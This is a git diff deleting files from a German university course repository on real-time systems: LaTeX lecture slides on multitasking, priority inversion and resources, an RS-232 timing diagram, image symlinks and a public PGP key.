-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \bigskip
-
-  Gegenmaßnahmen
-  \begin{itemize}
-    \item
-      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-      Der Besitzer des Mutex erbt die Priorität\\
-      des Prozesses, der auf den Mutex wartet.
-    \smallskip
-    \item
-      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-      Der Besitzer des Mutex bekommt sofort\\
-      die Priorität des höchstmöglichen Prozesses,\\
-      der evtl.\ den Mutex benötigen könnte.
-      \pause
-      \begin{picture}(0,0)
-        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-          \begin{minipage}{4cm}
-            nur möglich, wenn\\
-            Mutexe im Spiel sind
-          \end{minipage}}}
-      \end{picture}
-    \smallskip
-    \pause
-    \item
-      \newterm{Priority Aging}\\
-      Die Priorität wächst mit der Wartezeit.
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\end{document}
diff --git a/20161110/herzschrittmacher.jpg b/20161110/herzschrittmacher.jpg
deleted file mode 120000
index 92d8f0053003cc555aec83f5d088f1cec822ad81..0000000000000000000000000000000000000000
--- a/20161110/herzschrittmacher.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/herzschrittmacher.jpg
\ No newline at end of file
diff --git a/20161110/kompass-messung.png b/20161110/kompass-messung.png
deleted file mode 120000
index 85cfa0d3840e7542ebb6dd2092be6c2a6e08fbb1..0000000000000000000000000000000000000000
--- a/20161110/kompass-messung.png
+++ /dev/null
@@ -1 +0,0 @@
-../common/kompass-messung.png
\ No newline at end of file
diff --git a/20161110/kompassmodul-an-roboter.jpg b/20161110/kompassmodul-an-roboter.jpg
deleted file mode 120000
index dab8b38c1a92bf8072d42dc3abcc07be54a58c7b..0000000000000000000000000000000000000000
--- a/20161110/kompassmodul-an-roboter.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/kompassmodul-an-roboter.jpg
\ No newline at end of file
diff --git a/20161110/kompassmodul.jpg b/20161110/kompassmodul.jpg
deleted file mode 120000
index be108a5341df13a693959dbe69b7b9541b36fc4c..0000000000000000000000000000000000000000
--- a/20161110/kompassmodul.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/kompassmodul.jpg
\ No newline at end of file
diff --git a/20161110/logo-hochschule-bochum-cvh-text.pdf b/20161110/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000
--- a/20161110/logo-hochschule-bochum-cvh-text.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20161110/logo-hochschule-bochum.pdf b/20161110/logo-hochschule-bochum.pdf
deleted file mode 120000
index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
--- a/20161110/logo-hochschule-bochum.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20161110/motherboard-anschluesse.jpg b/20161110/motherboard-anschluesse.jpg
deleted file mode 120000
index 07335d7dff65c71a683588d2ed108485c4653fb7..0000000000000000000000000000000000000000
--- a/20161110/motherboard-anschluesse.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/motherboard-anschluesse.jpg
\ No newline at end of file
diff --git a/20161110/pathfinder.jpg b/20161110/pathfinder.jpg
deleted file mode 120000
index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000
--- a/20161110/pathfinder.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20161110/peter-gerwinski.public-key.asc b/20161110/peter-gerwinski.public-key.asc
deleted file mode 100644
index 853e0456fbec0d99b787c1b19231e759dc0dc9ce..0000000000000000000000000000000000000000
--- a/20161110/peter-gerwinski.public-key.asc
+++ /dev/null
@@ -1,52 +0,0 @@
------BEGIN PGP PUBLIC KEY BLOCK-----
-Version: GnuPG v1
-
-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
-4lKT
-=LKeH
------END PGP PUBLIC KEY BLOCK-----
diff --git a/20161110/pgslides.sty b/20161110/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20161110/pgslides.sty
+++ /dev/null
@@ -1 +0,0 @@
-../common/pgslides.sty
\ No newline at end of file
diff --git a/20161110/philosophenproblem.jpg b/20161110/philosophenproblem.jpg
deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20161110/philosophenproblem.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20161110/photo-20161110-144325.jpg b/20161110/photo-20161110-144325.jpg
deleted file mode 100644
index 8306b3d0ddd572cfeab23d063a2ba2f766a7f743..0000000000000000000000000000000000000000
Binary files a/20161110/photo-20161110-144325.jpg and /dev/null differ
diff --git a/20161110/photo-20161110-144419.jpg b/20161110/photo-20161110-144419.jpg
deleted file mode 100644
index 46f757877ef0792f2ab9f26a3e75611ec41e32ee..0000000000000000000000000000000000000000
Binary files a/20161110/photo-20161110-144419.jpg and /dev/null differ
diff --git a/20161110/quadrocopter.jpg b/20161110/quadrocopter.jpg
deleted file mode 120000
index 7eaf0c024b63b7bc1dd3df2c17c8ab93f67fc15c..0000000000000000000000000000000000000000
--- a/20161110/quadrocopter.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/quadrocopter.jpg
\ No newline at end of file
diff --git a/20161110/rp6.jpg b/20161110/rp6.jpg
deleted file mode 120000
index 2a0ecff23845770c3a98178eca6dce3ec73aca58..0000000000000000000000000000000000000000
--- a/20161110/rp6.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/rp6.jpg
\ No newline at end of file
diff --git a/20161110/rs-232.tex b/20161110/rs-232.tex
deleted file mode 100644
index a174692f177abe0d0ff1afd7e6783160485b5a22..0000000000000000000000000000000000000000
--- a/20161110/rs-232.tex
+++ /dev/null
@@ -1,97 +0,0 @@
-% rs-232.pdf - Illustration of the RS-232 Protocol
-% Copyright (C) 2011, 2016  Peter Gerwinski
-%
-% based on http://de.wikipedia.org/w/index.php?title=Datei:RS-232_timing.png&filetimestamp=20050719153204
-% Copyright (C) 2005  Wikipedia-Autor Gerald.deppe, released into Public Domain
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-
-\setbeamertemplate{footline}{}
-
-\begin{document}
-
-\begin{frame}
-  \vspace*{-0.65cm}
-  \begin{center}
-    \includegraphics[width=12cm]{RS-232_timing-no-text.png}\\
-    \begin{picture}(12,1)
-      \footnotesize
-      \put(0.1,9.17){\mbox{Synchronisation}}
-      \put(0.1,8.77){\mbox{Daten}}
-      \put(0.1,8.37){\mbox{Check}}
-%        \put(3,8.77){\mbox{9600\,8O1 = 9600\,Baud, 8 Daten-Bits, ungerade Parität (odd), 1 Stopp-Bit}}
-      \put(3,9.17){\mbox{9600\,Baud, 8 Daten-Bits, ungerade Parität, 1 Stopp-Bit}}
-      \put(3,8.77){\mbox{Beispiel-Daten: ASCII "`G"' = 71 = 0100\,0111 binär}}
-      \put(3,8.37){\mbox{Übertragung der Daten von rechts (Bit 0) nach links (Bit 7)}}
-      \put(2.000,6.4){\begin{rotate}{90}Ruhe\end{rotate}}
-      \put(2.900,6.4){\begin{rotate}{90}Start-Bit\end{rotate}}
-%        \put(3.569,6.4){\begin{rotate}{90}LSB 0\end{rotate}}
-      \put(3.569,6.4){\begin{rotate}{90}Bit 0\end{rotate}}
-      \put(4.238,6.4){\begin{rotate}{90}Bit 1\end{rotate}}
-      \put(4.907,6.4){\begin{rotate}{90}Bit 2\end{rotate}}
-      \put(5.576,6.4){\begin{rotate}{90}Bit 3\end{rotate}}
-      \put(6.245,6.4){\begin{rotate}{90}Bit 4\end{rotate}}
-      \put(6.914,6.4){\begin{rotate}{90}Bit 5\end{rotate}}
-      \put(7.583,6.4){\begin{rotate}{90}Bit 6\end{rotate}}
-%        \put(8.252,6.4){\begin{rotate}{90}MSB 7\end{rotate}}
-      \put(8.252,6.4){\begin{rotate}{90}Bit 7\end{rotate}}
-      \put(8.921,6.4){\begin{rotate}{90}Parität\end{rotate}}
-      \put(9.590,6.4){\begin{rotate}{90}Stopp-Bit\end{rotate}}
-      \put(10.09175,6.4){\begin{rotate}{90}Ruhe\end{rotate}}
-      \put(10.5935,6.4){\begin{rotate}{90}Start-Bit\end{rotate}}
-      \put(11.2625,6.4){\begin{rotate}{90}\dots\end{rotate}}
-      \put(2.000,4.4){\makebox(0,0)[br]{1}}
-      \put(2.900,4.4){\makebox(0,0)[br]{0}}
-      \put(3.569,4.4){\makebox(0,0)[br]{1}}
-      \put(4.238,4.4){\makebox(0,0)[br]{1}}
-      \put(4.907,4.4){\makebox(0,0)[br]{1}}
-      \put(5.576,4.4){\makebox(0,0)[br]{0}}
-      \put(6.245,4.4){\makebox(0,0)[br]{0}}
-      \put(6.914,4.4){\makebox(0,0)[br]{0}}
-      \put(7.583,4.4){\makebox(0,0)[br]{1}}
-      \put(8.252,4.4){\makebox(0,0)[br]{0}}
-      \put(8.921,4.4){\makebox(0,0)[br]{1}}
-      \put(9.590,4.4){\makebox(0,0)[br]{1}}
-      \put(10.09175,4.4){\makebox(0,0)[br]{1}}
-      \put(10.5935,4.4){\makebox(0,0)[br]{0}}
-      \put(0.1,5.60){\mbox{logisch 1}}
-      \put(0.1,5.20){\mbox{logisch 0}}
-      \put(1,3.8){\makebox(0,0)[r]{$\sf +15$\,V}}
-      \put(1,2.8){\makebox(0,0)[r]{$\sf +3$\,V}}
-      \put(1,2.5){\makebox(0,0)[r]{$\sf 0$\,V}}
-      \put(1,2.2){\makebox(0,0)[r]{$\sf -3$\,V}}
-      \put(1,1.2){\makebox(0,0)[r]{$\sf -15$\,V}}
-      \put(1.2,0.6){\vector(1,0){9.6}}
-      \put(10.8,0.3){\makebox(0,0)[tr]{Zeit/s}}
-      \multiput(2.45,0.6)(0.669,0){13}{\line(0,-1){0.1}}
-      \put(2.45,0.4){\makebox(0,0)[t]{\sf 0}}
-      \put(3.119,0.4){\makebox(0,0)[t]{$\sf\frac{1}{9600}$}}
-      \put(5.795,0,4){\makebox(0,0)[t]{$\sf\frac{5}{9600}$}}
-      \put(9.140,0,4){\makebox(0,0)[t]{$\sf\frac{10}{9600}$}}
-    \end{picture}
-  \end{center}
-\end{frame}
-
-\end{document}
diff --git a/20161110/xbee.jpg b/20161110/xbee.jpg
deleted file mode 120000
index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000
--- a/20161110/xbee.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/xbee.jpg
\ No newline at end of file
diff --git a/20161124/BMW_F01_front_20081213.jpg b/20161124/BMW_F01_front_20081213.jpg
deleted file mode 100644
index 8b69e4b7a1f3b90db99d3c29839c36a5b0df920f..0000000000000000000000000000000000000000
Binary files a/20161124/BMW_F01_front_20081213.jpg and /dev/null differ
diff --git a/20161124/csa2.jpg b/20161124/csa2.jpg
deleted file mode 120000
index b5bd4b2df223c36917de442b4e198aa46787f05b..0000000000000000000000000000000000000000
--- a/20161124/csa2.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/csa2.jpg
\ No newline at end of file
diff --git a/20161124/logo-hochschule-bochum-cvh-text.pdf b/20161124/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000
--- a/20161124/logo-hochschule-bochum-cvh-text.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20161124/logo-hochschule-bochum.pdf b/20161124/logo-hochschule-bochum.pdf
deleted file mode 120000
index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
--- a/20161124/logo-hochschule-bochum.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20161124/pathfinder.jpg b/20161124/pathfinder.jpg
deleted file mode 120000
index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000
--- a/20161124/pathfinder.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20161124/pgslides.sty b/20161124/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20161124/pgslides.sty
+++ /dev/null
@@ -1 +0,0 @@
-../common/pgslides.sty
\ No newline at end of file
diff --git a/20161124/philosophenproblem.jpg b/20161124/philosophenproblem.jpg
deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20161124/philosophenproblem.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20161124/systech-20161006.pdf b/20161124/systech-20161006.pdf
deleted file mode 100644
index 7b805863588975735dbad1eeb1cf1b9a13ea1add..0000000000000000000000000000000000000000
Binary files a/20161124/systech-20161006.pdf and /dev/null differ
diff --git a/20161124/systech-20161006.tex b/20161124/systech-20161006.tex
deleted file mode 100644
index 06479853af5662779a0561fc16cf0137c3a51a21..0000000000000000000000000000000000000000
--- a/20161124/systech-20161006.tex
+++ /dev/null
@@ -1,1844 +0,0 @@
-% systech-20161006.pdf - Lecture Slides on Advanced System Engineering
-% Copyright (C) 2013, 2014, 2015, 2016  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-%\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{tikz}
-\usepackage{eurosym}
-
-\newrgbcolor{lightyellow}{0.95 0.85 0.0}
-\newrgbcolor{lightorange}{1.0 0.7 0.0}
-\newrgbcolor{lightgreen}{0.0 0.8 0.0}
-
-\begin{psinputs}
-  \usepackage[latin1]{inputenc}
-  \usepackage[german]{babel}
-  \usepackage[T1]{fontenc}
-  \usepackage{helvet}
-  \renewcommand*\familydefault{\sfdefault}
-  \usepackage{pstricks}
-  \psset{unit=1cm}
-\end{psinputs}
-
-\title{Vertiefung Systemtechnik}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{23.\ November 2016}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \showsectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Einführung}
-      \begin{itemize}
-        \item[1.1] Was ist Echtzeit?
-        \item[1.2] Echtzeitprogrammierung
-      \end{itemize}
-    \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
-      \begin{itemize}
-        \color{medgreen}
-        \item[2.1] Multitasking
-        \item[2.2] Ressourcen
-        \item[2.3] Prioritäten
-      \end{itemize}
-    \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
-      \begin{itemize}
-        \item[3.1] Definition
-        \item[3.2] Beispiele
-      \end{itemize}
-    \item[\textbf{4}] \textbf{Frameworks}
-      \begin{itemize}
-        \item[\textbf{4.1}] TFC Event Channel
-        \item[\textbf{4.2}] AUTOSAR
-        \item[\textbf{4.3}] Wietzke-Tran-Framework
-      \end{itemize}
-  \end{itemize}
-
-\end{frame}
-
-\setcounter{section}{2}
-\section{Theorie der Echtzeitsysteme}
-
-\begin{frame}
-
-  \visible<1->{\showsection}
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-%  \pause
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
-      1000mal pro Sekunde: Stopwatches\\
-      5mal pro Sekunde: Blinkende Power-On-LED\\
-      1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
-      Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
-      Anpassung der Motorkraft in $\pm$1-Schritten
-%    \pause
-    \item
-      Nebenbei: \only<1->{1 }Benutzerprogramm
-  \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{itemize}
-    \item
-      \newterm{Kooperatives Multitasking}\\
-      Prozesse geben freiwillig Rechenzeit ab
-    \item
-      \newterm{Präemptives Multitasking}\\
-      Das Betriebssystem unterbricht laufende Prozesse\\
-      (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen)
-    \bigskip
-    \item
-      \newterm{Scheduler}\\
-      Steuerprogramm, das Prozessen Rechenzeit zuteilt
-    \item
-      \newterm{Kontextwechsel}\\
-      Umschalten zwischen zwei Prozessen
-    \item
-      \newterm{Round-Robin-Verfahren (Rundlauf)}\\
-      Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse
-    \bigskip
-%    \pause
-    \item
-%      Ausblick:
-      Zuteilung von Rechenzeit = wichtiger Spezialfall\\
-      allgemein: Zuteilung von Ressourcen
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-    \item
-      Nebenbei: 1 Benutzerprogramm
-  \end{itemize}
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-      Task mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-      % Aufgabe: Wo wird der Zähler heruntergezählt?
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-%  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-%  \bigskip
-
-%  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-%    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-%    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-%    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-%    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-        \smallskip
-      \item
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        (= spezielle \newterm{Semaphore\/})\\
-        \strut
-      \item
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \strut\\
-        \strut
-      \item
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
